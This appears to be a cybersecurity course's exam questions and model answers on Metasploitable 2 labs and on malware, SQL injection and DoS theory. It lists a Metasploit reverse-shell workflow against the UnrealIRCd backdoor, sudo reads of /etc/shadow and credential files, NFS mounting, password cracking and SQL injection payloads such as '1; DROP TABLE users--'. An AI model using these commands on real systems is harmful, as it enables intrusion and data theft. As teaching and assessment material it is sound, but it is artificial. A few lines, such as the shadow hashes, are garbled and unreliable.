**Q543: Lab 3 demonstrates exploitation of the UnrealIRCd 3.2.8.1 backdoor. Write the complete Metasploit workflow — including the payload selection step — explain why a non-default**

**payload must be set, and state the evidence collected confirming successful exploitation.**

**Model Answer:**

UnrealIRCd backdoor exploitation requires setting a non-default payload because the backdoor opens a command shell (not a Meterpreter session), and the module's default payload may not match what the target system can execute. Complete workflow:

Step 1: msfconsole — launch the Metasploit Framework console.

Step 2: search unreal — search for modules matching 'unreal'. The result shows: exploit/unix/irc/unreal\_ircd\_3281\_backdoor.

Step 3: use exploit/unix/irc/unreal\_ircd\_3281\_backdoor — select the module.

Step 4: show options — review required options. Required: RHOSTS (target IP). RPORT defaults to 6667 (standard IRC port). For a reverse connection, LHOST must be set.

Step 5: set RHOSTS 10.0.2.4 — set the target to Metasploitable 2.

Step 6: show payloads — list compatible payloads. The key payloads available: cmd/unix/reverse (simple reverse shell), cmd/unix/bind\_ruby (bind shell using Ruby).

Step 7: set payload cmd/unix/reverse — explicitly set the payload. Why non-default payload must be set: the module may default to a payload that requires Meterpreter or a specific binary (e.g., netcat with -e flag) that may not be present on the target. The cmd/unix/reverse payload uses a minimal /bin/sh reverse shell that works on virtually any Unix system without additional binaries. Metasploitable 2's backdoor executes arbitrary commands — using the simplest available shell payload ensures reliability.

Step 8: set LHOST 10.0.2.3 — set the Kali listener address for the reverse shell callback.

Step 9: run — execute the exploit. The module connects to IRC port 6667, sends an IRC message with the 'AB' prefix containing the reverse shell payload. The backdoor code in UnrealIRCd's binary executes the embedded command. The target connects back to Kali on port 4444, opening a command shell.

Evidence confirming successful exploitation: Session opened: Command shell session 2 opened (10.0.2.3:4444 → 10.0.2.4:35197). Running whoami: root. Running id: uid=0(root) gid=0(root). Running ip a: inet 10.0.2.4/24 (eth0). The shell responds to interactive commands, confirming persistent command execution as root on Metasploitable 2.

**Q544: In Lab 5, after SSH access to Metasploitable 2 using msfadmin:msfadmin, sudo -l was run. What did it reveal, what commands were then run with sudo, what sensitive files were accessed, and why msfadmin having sudo access represents a security failure?**

**Model Answer:**

Running sudo -l as msfadmin on Metasploitable 2 reveals the sudoers configuration for that account. Result: msfadmin may run ALL commands as ANY user on this host without a password (NOPASSWD: ALL). This is the most permissive possible sudo configuration — msfadmin is effectively root with a single extra command prefix.

Commands run with sudo and what they accessed:

sudo cat /etc/shadow — reads the shadow password file, which stores hashed passwords for all system accounts. Normally readable only by root. Output: the MD5crypt (\$1\$...) hashes for root, sys, klog, msfadmin, postgres, user, and service accounts. These hashes were then used for offline cracking with John the

Ripper.

`sudo find /var/www -name "*.php" -exec grep -l "password" {} \;` — finds PHP files containing the string 'password'. Reveals configuration files with embedded database credentials.

`sudo cat /var/www/dvwa/config/config.inc.php` — reads the DVWA database configuration. Reveals: `db_server=localhost, db_database=dvwa, db_user=root, db_password=""` (empty string). This gives direct database access credentials confirming the root/blank password finding.

`sudo cat /etc/proftpd/sql.conf` — reads the ProFTPD SQL authentication configuration, which stores database credentials used for FTP user authentication.

Why msfadmin having sudo NOPASSWD ALL is a critical security failure:

(1) Privilege separation is completely negated: The entire purpose of having a non-root account is to limit damage if the account is compromised. With NOPASSWD: ALL sudo, compromising msfadmin via any method (SSH brute force, web app exploitation, social engineering) immediately yields root-equivalent access. There is no meaningful difference between this account and root.

(2) No authentication barrier: The NOPASSWD option removes the requirement to know the root password before escalating. A compromised msfadmin session needs no additional credentials to access the most sensitive system resources.

(3) Principle of least privilege violated: msfadmin is a general-purpose user account. It has no documented need for full root access to perform its intended functions. Least privilege would grant it only the specific commands required for legitimate operations.

(4) No audit trail differentiation: Actions taken via sudo can be logged, but with NOPASSWD ALL any process running as msfadmin can silently sudo to root — the privilege escalation may not always be logged if the sudoers `log_input` option is not configured.

**Q545: Lab 2 (GVM and Nessus) found NFS shares configured as world-readable on Metasploitable 2. Explain what NFS is, what world-readable shares mean as a security finding, how to verify this finding manually, and what the correct remediation is.**

**Model Answer:**

NFS (Network File System) is a distributed file system protocol that allows a server to export directories to client machines over the network. Clients mount the exported share and access it as if it were a local filesystem. NFS runs on port 2049/tcp and 111/tcp (portmapper).

What world-readable shares mean: An NFS export is 'world-readable' when it is exported with no host-based access restrictions — any client that can reach port 2049 can mount and read the share. The `/etc/exports` file on the NFS server controls who can mount which directories. A misconfigured entry like `/home *(rw,no_root_squash)` allows any host (the `*` wildcard) to mount `/home` with read-write permissions, with `no_root_squash` meaning the client's root user is treated as root on the NFS server — effectively giving any attacker root-level file access to everything in `/home`.

How to verify manually from Kali:

Step 1 — Enumerate NFS exports: `showmount -e 10.0.2.4`. This queries the NFS server for its exported shares. On Metasploitable 2, this returns: Export list for 10.0.2.4: `/ *`. The root filesystem (`/`) is exported to all hosts (`*`).

Step 2 — Mount and browse: `mkdir /tmp/nfs_test && mount -t nfs 10.0.2.4:/ /tmp/nfs_test`. After mounting, `ls /tmp/nfs_test` shows the target's root filesystem. The attacker now has filesystem-level access to read any file the share permissions allow — including `/etc/shadow` if the `no_root_squash` option is set.

Step 3 — Check export options: The specific export options visible in `showmount` output or in `/proc` on the server indicate whether write access and root squashing are configured.

Remediation: (1) In `/etc/exports`, replace the wildcard (\*) with specific trusted IP addresses or hostnames that legitimately need NFS access. (2) Remove `no_root_squash` — with `root_squash` (the default), a client's root user is mapped to the anonymous nobody user on the server. (3) Use read-only (ro) where write access is not required. (4) Firewall port 2049 to block access from all untrusted hosts. (5) Consider replacing NFS with a more secure alternative (SFTP, NFS over VPN with Kerberos authentication) for sensitive shares.

**Q546: Lab 6 requires establishing a baseline of normal system activity before conducting DoS experiments. Describe what commands were used to establish the baseline, what specific metrics were recorded, and why a baseline is essential for a DoS assessment.**

**Model Answer:**

Baseline commands and what each showed:

(1) `top` — the primary monitoring tool used throughout the lab. At baseline on Metasploitable 2 with no attack traffic: CPU line showed approximately %us <5% (user processes), %sy <2% (system), %ni 0% (nice), %id >90% (idle), %wa <2% (I/O wait), %hi <1% (hardware interrupts), %si <1% (software interrupts). Memory: stable with most physical memory available. The high idle percentage (>90%id) confirmed the system was lightly loaded — this is the reference point.

(2) `netstat -tulnp` — listed all listening services and their ports at baseline: Apache (80), MySQL (3306), vsftpd (21), SSH (22), PostgreSQL (5432), and others. Established that these services were running and accepting connections before any attack traffic was introduced.

(3) `ps aux` — listed all running processes with their CPU and memory percentages. At baseline, all percentages were near zero, confirming no background jobs were consuming resources.

(4) Connectivity test — a simple `curl http://10.0.2.4/` or browser request confirmed the web service was responsive and returning pages in normal time. This establishes the response latency baseline.

Specific metrics recorded at baseline: %id (idle CPU) >90%, %si (software interrupts) <1%, no application timeouts, `netstat` showing expected service list only, memory usage stable.

Why a baseline is essential for a DoS assessment: (1) Evidence requires comparison: Saying 'CPU usage increased to 99% during the attack' is only meaningful if you know it started at <5% idle. Without a baseline, degradation cannot be quantified. (2) Pre-existing issues visibility: If the system was already under load before the attack, the additional load from the attack would be conflated with pre-existing resource consumption. (3) Service availability confirmation: Baseline verifies services were working before the attack — distinguishing 'the attack caused downtime' from 'the service was already down'. (4) Report quality: Professional penetration test reports include pre-attack conditions as part of evidence. 'Service was verified responsive before attack commenced' is a necessary statement for any DoS impact claim.

**Q547: Lab 3 extracts the `/etc/shadow` file from Metasploitable 2 after gaining root access. List the accounts present in the shadow file, identify the hash format used, explain what the \$1\$**

**prefix means, and state which passwords were confirmed cracked.**

**Model Answer:**

The /etc/shadow file from Metasploitable 2 contained the following accounts (root and user accounts):

```
root:1avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. sys:1fUX6BPot$Miy3UpOzQJqz4s5wFD9I0
klog:1f2ZVMS4K$R9Xkl.CmLdHhdUE3X9jqP0 msfadmin:1XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/
postgres:1Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/ user:1HESu9xrH$K.o3G93DGoXliQKkPmUgZ0
service:1kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//
```

Hash format: All hashes use the \$1\$ prefix, which is MD5crypt — the Linux md5-based crypt() function. This is distinct from plain MD5: MD5crypt uses a salt and multiple rounds to produce a more resistant hash than raw MD5. However, it is still orders of magnitude faster to crack than bcrypt or Argon2.

The \$1\$ prefix structure: \$algorithm\$salt\$hash. The '1' indicates MD5crypt. The second field is the salt (e.g., /avpfBJ1 for root). The third field is the actual hash digest. The salt ensures that two users with the same password have different hashes, preventing rainbow table attacks, but does not prevent individual brute-force with tools like John the Ripper.

Cracking command: john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow.

Confirmed cracked credentials: msfadmin:msfadmin (the default login — this appears early in rockyou.txt). The known default password confirms the shadow hash format is correct. Other accounts (user, service, postgres) may also yield to the rockyou.txt wordlist attack.

Security significance: The use of MD5crypt (\$1\$) in a 2008-era system reflects the era's acceptable practices. MD5crypt computes at approximately 200,000–1,000,000 hashes/second on modern CPUs — significantly faster than bcrypt (thousands per second) but slower than plain MD5 (billions per second). For rockyou.txt (14 million entries), MD5crypt is cracked in seconds to minutes for common passwords. A modern system should use SHA-512crypt (\$6\$) at minimum, or ideally yescrypt/Argon2.

**Q548: Lab 9 contains hands-on cryptography exercises using online tools and command-line utilities. Describe which tool or command was used for each of the following tasks, and what specific output was produced: (a) decrypting the Caesar cipher, (b) computing an RSA calculation, (c) performing the ElGamal encryption cycle, (d) analysing GitHub's TLS configuration.**

**Model Answer:**

Lab 9 cryptography exercise tools and outputs:

(a) Caesar cipher decryption — 'IWXH XH P KTG N DAS RXEWTG': Tool: manual brute-force by hand (or online Caesar cipher decoder). No specific command-line tool was required — the exercise demonstrates that brute-forcing 25 possible shifts is trivially done in minutes by hand, making Caesar cryptanalysis entirely manual. The student tries each shift from 1 to 25. At shift 11 (applying +11 to each letter mod 26), the plaintext 'THIS IS A VERY OLD CIPHER' emerges. Output: key = 11, plaintext = THIS IS A VERY OLD CIPHER. The exercise reinforces that a 25-key keyspace is completely infeasible as security.

(b) RSA calculation (p=5, q=11, e=13): Tool: manual arithmetic or a simple calculator. No specialised software required — the numbers are small enough for paper calculation. Process:  $n = 5 \times 11 = 55$ ,  $\phi(n) = 4 \times 10 = 40$ ,  $d = 37$  (since  $13 \times 37 = 481 \equiv 1 \pmod{40}$ ), encrypt  $m=9$ :  $c = 9^{13} \pmod{55} = 14$ . Output: public key (55, 13), private key (55, 37), ciphertext = 14, verified by decryption  $14^{37} \pmod{55} = 9$ . The exercise demonstrates the mathematical structure of RSA — key generation, encryption, and decryption — before the

numbers become computationally infeasible at real-world key sizes.

(c) ElGamal encryption cycle ( $p=23$ ,  $g=5$ ,  $x=6$ ,  $m=10$ ,  $k=3$ ): Tool: manual arithmetic. Output: public key  $h = 5^6 \bmod 23 = 8$ . Encryption:  $c_1 = 5^3 \bmod 23 = 10$ ,  $c_2 = 10 \times 8^3 \bmod 23 = 10 \times 6 \bmod 23 = 14$ . Ciphertext  $(c_1, c_2) = (10, 14)$ . Decryption:  $s = 10^6 \bmod 23 = 6$ ,  $s^{-1} = 4$  (since  $6 \times 4 = 24 \equiv 1 \bmod 23$ ),  $m = 14 \times 4 \bmod 23 = 56 \bmod 23 = 10$ . ✓ The exercise demonstrates probabilistic encryption (ElGamal is randomised via  $k$ ) and the discrete logarithm security basis.

(d) GitHub TLS analysis: Tool: SSL Labs (<https://www.ssllabs.com/ssltest/>) — an online web service. Enter 'github.com' in the test field and wait for the automated analysis. Output: Grade A+, TLS 1.3 and TLS 1.2 supported, TLS 1.0 and 1.1 disabled, all cipher suites providing forward secrecy (ECDHE), certificate valid and issued by DigiCert, HSTS enabled with max-age 31536000 including subdomains, no known vulnerabilities. The A+ grade specifically requires HSTS with a long max-age. The exercise familiarises students with reading professional TLS assessment output.

**Q549: Lab 7 requires both running a phishing simulation and analysing a real-world phishing email. Describe what the SET credential harvester exercise revealed about attack effectiveness, and list the five specific email indicators that should trigger user suspicion when analysing a phishing email.**

**Model Answer:**

What the SET credential harvester exercise revealed:

The lab demonstrated that creating a convincing credential harvesting attack requires minimal technical skill and approximately five minutes of setup. Key findings from the simulation:

- (1) Speed of setup: SET cloned a login page in under a minute by fetching the target URL. The cloned page was visually identical to the original — a non-technical user performing only a visual check would not detect the difference.
- (2) Credential capture immediacy: When dummy credentials were submitted to the cloned page, SET displayed them in the terminal in real time. In a real scenario, the attacker receives credentials within seconds of the victim submitting the form, enabling immediate account takeover.
- (3) The attack requires victim action: The simulation confirmed that the entire attack depends on the victim clicking a link and submitting credentials. This is the point where awareness training can intervene — a trained user who checks the URL before entering credentials defeats this attack completely.
- (4) No TLS certificate for the real domain: The SET-hosted page was served over HTTP or with a self-signed certificate. This is the technical indicator that cannot be forged — the attacker cannot obtain a valid TLS certificate for the real organisation's domain. The A+ TLS grade seen on legitimate sites (Lab 9) contrasts directly with the bare HTTP or certificate-warning page served by SET.
- (5) Local network scope: In the lab, the attack was confined to the Host-Only network. In a real phishing campaign, the harvester would be internet-accessible and the link would be sent via email.

Five specific email indicators that should trigger user suspicion:

- (1) Sender address mismatch: The displayed 'From' name may say 'IT Support' or 'CEO' but the actual email address (visible by hovering or viewing headers) is from an unrelated domain (e.g., support@company-helpdesk.net instead of @company.com).

(2) Unexpected urgency or unusual request: Legitimate services rarely demand immediate action under threat of account suspension, legal action, or financial penalty via email. Urgency is a manipulation technique, not a service characteristic.

(3) Suspicious or mismatched link URL: Hovering over a link (without clicking) shows the actual destination URL in the browser status bar. If the visible text says 'Click here to verify' but the URL shows an IP address, a misspelled domain, or an unrelated domain, the link is malicious.

(4) Requests for credentials or sensitive information: No legitimate service asks users to enter their password via an emailed link. Password reset links should redirect to the service's verified domain, not request passwords directly.

(5) Missing or invalid TLS certificate on the linked page: After clicking (if unavoidable), check the browser address bar and padlock. If there is no padlock (HTTP), a certificate warning, or a certificate for a different domain than expected, stop and close the browser immediately.

**Q550: Across Labs 2, 3, 5, and 6, many different vulnerabilities were found but they often share common root causes. Identify the three most frequent root causes appearing across the lab findings, name at least three specific vulnerabilities from the labs that share each root cause, and state the single most impactful remediation action for each.**

**Model Answer:**

Three most frequent root causes across all lab findings, with evidence:

Root Cause 1 — Default, weak, or absent credentials: The most pervasive single failure across all targets. Specific examples: (a) MySQL root account with empty password (port 3306, CVSS 9.8) — no password set at all. (b) VNC password 'password' (port 5900, CVSS 9.0) — trivially guessable. (c) PostgreSQL postgres:postgres (port 5432, CVSS 9.0) — default vendor credentials never changed. (d) SSH msfadmin:msfadmin — default Metasploitable credentials. (e) WinRM vagrant:vagrant on MS3 — Vagrant provisioner default credentials never changed. Most impactful remediation: mandate credential change as part of deployment — systems must not be reachable with default credentials. Automated deployment pipelines should include credential rotation as a gating step before a system is placed on any network.

Root Cause 2 — End-of-life and unpatched software: The second most pervasive root cause — software whose vendor has stopped issuing security patches, or software that has not been updated despite available patches. Specific examples: (a) Ubuntu 8.04 EOL (CVSS 10.0) — operating system with no patches since May 2013. (b) vsftpd 2.3.4 backdoor — would have been patched in vsftpd 2.3.5 but the version was never updated. (c) UnrealIRCd 3.2.8.1 — backdoored version from 2009 still running in 2026. (d) Apache Tomcat 5.5 EOL — multiple unpatched CVEs. (e) Windows Server 2008 R2 EOL (January 2020) — permanently unpatched EternalBlue on MS3. Most impactful remediation: establish a patch management programme with defined maximum remediation windows by severity. Retire or isolate EOL software on a documented schedule. Treat EOL status as a Critical finding requiring immediate escalation to management.

Root Cause 3 — Insufficient input validation and sanitisation (application layer): Failures where application code trusts and directly uses untrusted input without validation or parameterisation. Specific examples: (a) DVWA SQL injection — user input directly concatenated into SQL queries without prepared statements. (b) Samba CVE-2007-2447 — username field passed to /bin/sh without sanitising shell metacharacters. (c) PHP CGI RCE CVE-2012-1823 — URL query string parameters passed as command-line arguments to PHP-CGI. (d) Shell injection via environment variables (Shellshock) — environment variable values executed as shell code. (e) Directory traversal in Mutillidae — file paths accepted from user input without sanitisation.

Most impactful remediation: implement parameterised queries / prepared statements for all database interaction, and never pass user-controlled input to shell interpreters. Apply OWASP Secure Coding Practices: treat all external input as untrusted until validated, and use structural separation of code from data rather than blacklist-based filtering.

**Q551: Distinguish virus, worm, and Trojan horse as malware categories. For each, describe the propagation mechanism, whether human action is required, and give one historical example from the course materials.**

**Model Answer:**

**Virus:** A virus attaches itself to a legitimate file or executable program. When the infected file is opened or executed, the virus code runs, replicates itself into other files, and may carry a payload. Propagation depends on human action — a user must execute the infected file, open the infected document, or run the infected program for the virus to spread. The virus cannot move itself between systems without a carrier. Example: macro viruses embedded in Office documents — opening the document triggers the macro, which may infect the Normal template and spread to every document the user subsequently opens.

**Worm:** A worm is self-contained and propagates autonomously without requiring the same human action as a traditional virus. It exploits network services, software vulnerabilities, or shared resources to copy itself to other reachable systems. Once deployed, it can spread to thousands of hosts without any user opening a file. Example: WannaCry (2017) — a ransomware worm that exploited the EternalBlue SMBv1 vulnerability (CVE-2017-0144) to propagate automatically across networks. Once one machine was infected, WannaCry scanned for other reachable hosts on port 445 and infected them without any user interaction. It infected 230,000 systems in 150 countries in days. SQL Slammer (2003) similarly infected 90% of vulnerable SQL Server hosts within 10 minutes.

**Trojan horse:** A Trojan appears to be a legitimate, useful program but contains hidden malicious functionality. Unlike viruses and worms, Trojans do not self-replicate. They depend on the user choosing to install what appears to be beneficial software. Once installed, the Trojan performs its hidden function — establishing a backdoor, dropping ransomware, installing a keylogger, or exfiltrating data — while potentially also performing the advertised function to avoid suspicion. Example: Hydraq Trojan (Operation Aurora, 2009) — delivered by exploiting an Internet Explorer vulnerability when users visited a compromised website. The course also notes XcodeGhost (2015), a supply-chain Trojan embedded in a compromised Xcode build tool that automatically infected all iOS apps built with it and distributed them through the legitimate App Store.

**Key distinction:** The labels describe behaviour, not exclusivity — real malware often combines these. A file may be a Trojan that, once installed, drops a worm payload that propagates via a vulnerability.

**Q552: Describe the two primary antivirus detection methods (signature-based and heuristic). What is a polymorphic virus, and why does it challenge signature-based detection specifically? What is a sparse infector and why does it challenge heuristic detection?**

**Model Answer:**

**Signature-based detection:** The antivirus maintains a database of characteristic byte sequences ('signatures') extracted from known malicious files. During a scan, it computes or compares fixed patterns against each file. If a file contains a known signature, it is flagged as malicious. Strengths: high precision for known threats, fast scanning, low false-positive rates for well-established signatures. Weakness: can only detect what is already in the signature database. A new or modified malware variant with no matching signature passes undetected. Requires regular database updates.

**Heuristic detection:** Rather than matching known patterns, heuristic analysis watches the behaviour of programs or looks for suspicious code fragments. Behavioural heuristics: monitor what a program does — does it access the address book, modify registry run keys, make network connections it is not expected to make, or attempt to disable security software? Code heuristics: look for suspicious instructions or patterns

typical of malicious activity, such as using int 80h system calls instead of the expected syscall convention.

**Polymorphic viruses:** A polymorphic virus changes its own code (its 'form') each time it replicates. The malicious payload remains functionally identical, but the byte sequence changes — through encryption with a different key each time, code transposition, insertion of junk instructions, or register substitution. Because the byte sequence is different in every copy, each variant has no stable signature to detect. The signature database becomes a list of old variants; new generations evade it. Heuristics remain more effective against polymorphic viruses because the behavioural profile (what the virus does) is harder to randomise than its byte representation.

**Sparse infector:** A sparse infector reduces the frequency of its infection attempts — for example, only infecting every 10th file it encounters, or only infecting when a specific date matches, or only when certain conditions are met. By reducing the rate of activity, it limits the observable anomalies that heuristic behavioural monitoring would detect. A normally active virus that infects every executable it touches generates a detectable pattern of file modification events; a sparse infector that only modifies one file every hour produces a signal too low to distinguish from legitimate file operations in many heuristic models.

**Q553: The course covers six types of SQL injection. Name and explain each type, giving a one-sentence example of how each works.**

**Model Answer:**

(1) **Tautology (in-band):** The attacker injects a condition that is always true to alter query logic. Example: ' OR 1=1# in a login form makes the WHERE clause always evaluate to true, returning all rows or bypassing password checking — exactly the payload used in Lab 5 against DVWA.

(2) **End-of-line comment injection (in-band):** The attacker appends a SQL comment marker to terminate the rest of the original query after the injected content. Example: ' OR 1=1# uses # (MySQL) or -- (ANSI SQL) to comment out the closing quote and any remaining original query logic, preventing syntax errors from the injected fragment.

(3) **Piggybacked queries / stacked statements (in-band):** The attacker terminates the original statement with a semicolon and appends a second, entirely new SQL statement. Example: 1; DROP TABLE users-- — the first statement executes the intended query, then the injected second statement deletes the users table. Requires the database driver to support multiple statements per query (not all do by default).

(4) **Illegal/logically incorrect queries (inferential / blind):** The attacker sends deliberately malformed queries to provoke detailed error messages from the database, which reveal the database type, version, table names, and column names. Example: submitting ' causes a MySQL syntax error that includes the database version string — the error message becomes an information channel.

(5) **Blind SQL injection (inferential):** The application does not display query results or error messages, but the attacker infers information by asking TRUE/FALSE questions — if the page behaves normally (loads correctly) the condition is true; if the page changes (empty result, redirect, error) the condition is false. Example: ' AND 1=1# returns normal page (true), ' AND 1=2# returns changed page (false) — by systematically varying conditions, the attacker can extract character-by-character data about the database structure without ever seeing direct output.

(6) **Out-of-band injection:** The attacker uses the database server's own capabilities to send query results to an external system the attacker controls. Example: On MySQL with FILE privilege, LOAD\_FILE and INTO OUTFILE can interact with the filesystem; on SQL Server, xp\_cmdshell can execute OS commands that exfiltrate data via DNS or HTTP requests to the attacker's server. Used when in-band channels are

completely filtered.

**Q554: Explain the SYN flood attack mechanism in detail. How does a SYN cookie work as a mitigation, and what is an RST cookie? Why does the SYN flood exploit a fundamental TCP design property rather than a bug?**

**Model Answer:**

SYN flood mechanism: TCP connection establishment uses a three-way handshake: (1) Client sends SYN (synchronise). (2) Server responds with SYN-ACK and allocates a half-open connection entry in its backlog buffer — reserving memory, computing an initial sequence number, and waiting for the final ACK. (3) Client sends ACK; the full connection is established and the backlog entry promoted to a full connection. The backlog buffer has a finite maximum size (historically as small as 5 concurrent half-open connections; even modern systems have limits).

In a SYN flood: The attacker sends large volumes of SYN packets with spoofed source IP addresses. The server responds to each with SYN-ACK and allocates a backlog entry. Because the source IPs are spoofed (or belong to unreachable hosts), the final ACK never arrives. Entries accumulate in the backlog until they time out. With sufficient SYN rate, the backlog fills completely — all new connection attempts from legitimate clients are rejected because no backlog space remains.

SYN cookie mitigation: Instead of allocating backlog state on receipt of the SYN, the server encodes all necessary connection parameters (IP addresses, ports, timestamp, sequence number, MSS) into a cryptographic hash that becomes the server's initial sequence number (ISN) in the SYN-ACK. No backlog entry is created. If the client is real, it returns the ACK with the acknowledgement number equal to the server's ISN + 1 — the server decodes the cookie, verifies it, and only then creates the connection state. If the SYN was spoofed, no ACK arrives, no state was ever allocated. SYN cookies eliminate backlog exhaustion for spoofed SYNs.

RST cookie: An alternative — the server deliberately sends a slightly incorrect SYN-ACK (with a wrong sequence number). A legitimate TCP client, upon receiving an unexpected sequence number, will respond with a RST (reset) packet. The RST response proves the client is real and can receive on the claimed source IP. Only after receiving the RST does the server proceed with the real handshake.

Why it exploits a design property: The TCP three-way handshake was designed to establish reliable, ordered, bidirectional communication. The server allocates state at step 2 because it needs to remember the connection parameters before the client confirms. This asymmetry — the server commits resources before the client proves it is real — is inherent to TCP's stateful connection model, not a coding bug. Any stateful protocol that allocates server-side resources before client confirmation has this property. SYN cookies solve it by moving state allocation to after confirmation.

**Q555: What is a Slowloris attack? How does it differ from a SYN flood in mechanism, resource targeted, and required bandwidth? What is the specific server-side defence?**

**Model Answer:**

Slowloris is a Layer 7 (Application layer) denial-of-service attack against web servers. It exploits the web server's behaviour when handling HTTP requests that arrive very slowly. Normal HTTP requests are completed quickly — headers arrive, request is processed, response is sent. Slowloris sends HTTP requests very slowly, opening many connections and sending headers one byte at a time (or with very long delays between header lines), deliberately never completing the request. The server keeps each connection open,

waiting for the request to complete, because it cannot distinguish a slow legitimate client from an attack.

**Mechanism:** The attacker opens as many simultaneous connections to the target web server as possible. For each connection, it sends partial HTTP GET headers (e.g., GET / HTTP/1.1 Host: target.com ) and then periodically sends one more header line every few seconds — just often enough to prevent the connection from timing out. The server allocates a connection handler (worker process or thread) for each connection and holds it open. Apache's default MaxClients setting limits the total number of concurrent connections. Once all worker slots are occupied by Slowloris connections, new legitimate requests are rejected — 503 Service Unavailable.

**Difference from SYN flood:** SYN flood operates at Layer 4 (TCP), targeting the TCP handshake backlog buffer. Slowloris operates at Layer 7 (HTTP), targeting web server connection handlers. SYN flood requires high packet rates (thousands to millions of packets/second). Slowloris can be effective with very low bandwidth — a single connection every few seconds per open socket is enough to maintain it. A modest laptop can open enough Slowloris connections to take down a poorly configured Apache server without generating noticeable traffic.

**Resource targeted:** SYN flood exhausts TCP backlog/connection state table. Slowloris exhausts HTTP worker processes or threads.

**Server-side defence:** Configure the web server with short request timeout values — if a client does not complete its HTTP request headers within a defined time window (e.g., 10 seconds), the connection is closed. Apache module mod\_reqtimeout provides this. Using an event-driven server (nginx, which handles connections asynchronously without dedicating a worker per connection) eliminates the vulnerability — nginx can hold thousands of slow connections without exhausting worker capacity. Reverse proxies and CDN services absorb Slowloris traffic before it reaches the origin server.

**Q556: What is a botnet? Describe the C&C; (command and control) architecture, explain how IoT devices became the dominant botnet recruitment target, and identify two weaknesses in botnet infrastructure that defenders exploit.**

**Model Answer:**

A botnet is a network of internet-connected devices that have been compromised by malware and are remotely controlled by an attacker (the botmaster) via a Command and Control (C&C;) infrastructure. Individual compromised devices are called bots, zombies, or drones. The botmaster directs the botnet to perform coordinated actions — DDoS attacks, spam sending, credential stuffing, cryptocurrency mining, or distributing additional malware.

**C&C; architecture:** Early botnets used centralised C&C; — a single IRC channel or server that bots connected to for instructions. The botmaster sent commands to the IRC channel; all bots received and executed them simultaneously. Modern botnets use peer-to-peer (P2P) or fast-flux DNS C&C; to avoid single points of failure. In P2P architectures, bots communicate with each other and propagate commands through the network — there is no single C&C; server to take down. Fast-flux DNS rapidly cycles through different IP addresses for C&C; hostnames, making takedown difficult.

**Historically significant DDoS tools:** Trinoo (1999), Tribal Flood Network/TFN (1999), and Stacheldraht (1999) were early botnet DDoS platforms. Stacheldraht added encrypted communications between handler and agents and could perform SYN flood, UDP flood, and ICMP flood attacks.

**Why IoT became the dominant target:** IoT devices (cameras, routers, smart TVs, DVRs) are deployed in enormous numbers, run constantly (always connected), are rarely patched (no automatic update

mechanism), and are frequently deployed with default credentials that are never changed. A Kaspersky report (cited in the course) found that in the first half of 2023, 97.91% of attacks on Telnet servers targeted IoT devices. The Mirai botnet (2016) compromised hundreds of thousands of IoT devices using only 62 default username/password combinations and generated a 1.2 Tbps DDoS attack — at the time the largest ever recorded.

Two botnet weaknesses defenders exploit: (1) C&C; takedown: If the C&C; infrastructure is identified and seized (law enforcement coordination with hosting providers), the botnet loses its coordination capability. Bots continue operating but cannot receive new commands, effectively neutralising the DDoS capability. The WannaCry kill switch domain worked on this principle — registering the hardcoded domain interrupted the malware's behaviour. (2) Bot disinfection / patch deployment: Bots are compromised devices that can be cleaned by patching the vulnerability or changing the exploited credentials. Public awareness campaigns, ISP cooperation, and automatic firmware updates reduce the bot population over time. The weaknesses are asymmetric — defenders can exploit either of these, but sophisticated botnets with P2C&C; resist both.

**Q557: What is spyware? How does a keylogger defeat HTTPS protection? Give two examples of how spyware can be used legitimately versus illegitimately, and what the course says about the legal grey area.**

**Model Answer:**

Spyware is software that collects information about users or systems, often without meaningful informed consent. It may monitor browsing history, capture form data, take screenshots, record keystrokes, track location, or dynamically modify web pages to inject additional data capture. The distinction from other malware is purpose: spyware primarily targets information collection rather than system disruption.

How keyloggers defeat HTTPS: HTTPS encrypts data in transit between the browser and the server. A keylogger operates at the OS or browser level — it intercepts keystrokes before they are passed to the browser's encryption layer. When a user types a password, the keylogger captures the raw keystrokes from the keyboard input queue, before the browser encrypts and transmits them. By the time HTTPS applies encryption, the keylogger has already captured the plaintext credentials. HTTPS protects data in transit; keyloggers attack data at input, which is before transit even begins.

Legitimate versus illegitimate use: Spyware tools blur the line between security monitoring and invasion of privacy. A commercial product like eBlaster (now Veriato) monitors user activity including keystrokes, screenshots, website visits, and chat logs. Legitimate uses: parents monitoring minor children's online activity (parental controls), employers monitoring employee activity on company-owned devices under documented acceptable-use policies with employee notification. Illegitimate uses: a jealous spouse installing it secretly on a partner's device to read private communications (the course references a Florida Appeals Court ruling that a wife 'illegally obtained' her husband's online conversations using such software), or an employer monitoring without disclosure or legal basis.

Legal grey area the course identifies: The same software is sold commercially as 'user behaviour analysis tools' or 'employee monitoring software.' Whether use is legal depends entirely on consent, notification, and jurisdiction — the software itself is neutral. The course uses this as an example that security tools do not have inherent morality; the legal and ethical status depends on how and by whom they are applied. The spyware debate mirrors the same arguments raised for penetration testing tools: the tool is the same, but authorisation and purpose determine legality.

**Q558: The course covers IoT hardening principles. Describe five specific hardening measures for IoT devices and explain why each is necessary given the threat landscape.**

**Model Answer:**

IoT devices present a distinct hardening challenge: they are often resource-constrained (limited CPU/memory), deployed in large numbers, rarely updated, and frequently placed in exposed network positions. Five hardening measures:

(1) Change all default credentials immediately upon deployment: IoT manufacturers ship devices with documented default usernames and passwords (admin/admin, root/root, or device-specific defaults listed in manuals). The Mirai botnet exploited exactly this — it used only 62 default credential combinations to compromise hundreds of thousands of devices. Necessity: Default credentials are publicly known; leaving them in place provides zero authentication security. Every IoT device must have a unique, strong password set before it is placed on any network.

(2) Disable unnecessary remote management interfaces: Many IoT devices expose Telnet, SSH, SNMP, or web administration interfaces. Telnet in particular transmits credentials in cleartext. Disable any remote management protocol not required for legitimate operation. The course notes that 97.91% of IoT attacks targeted Telnet — attackers systematically scan for Telnet-enabled devices. Necessity: Every exposed service is an attack surface. If remote management is required, use SSH with key authentication only.

(3) Apply firmware updates promptly: Unlike general-purpose computers where patch management is well-established, IoT devices frequently lack automatic update mechanisms. When the manufacturer releases firmware patches, these must be manually applied. Necessity: Unpatched vulnerabilities in IoT firmware are the primary exploitation vector for new botnet recruitment. EOL devices that no longer receive firmware updates should be replaced or isolated.

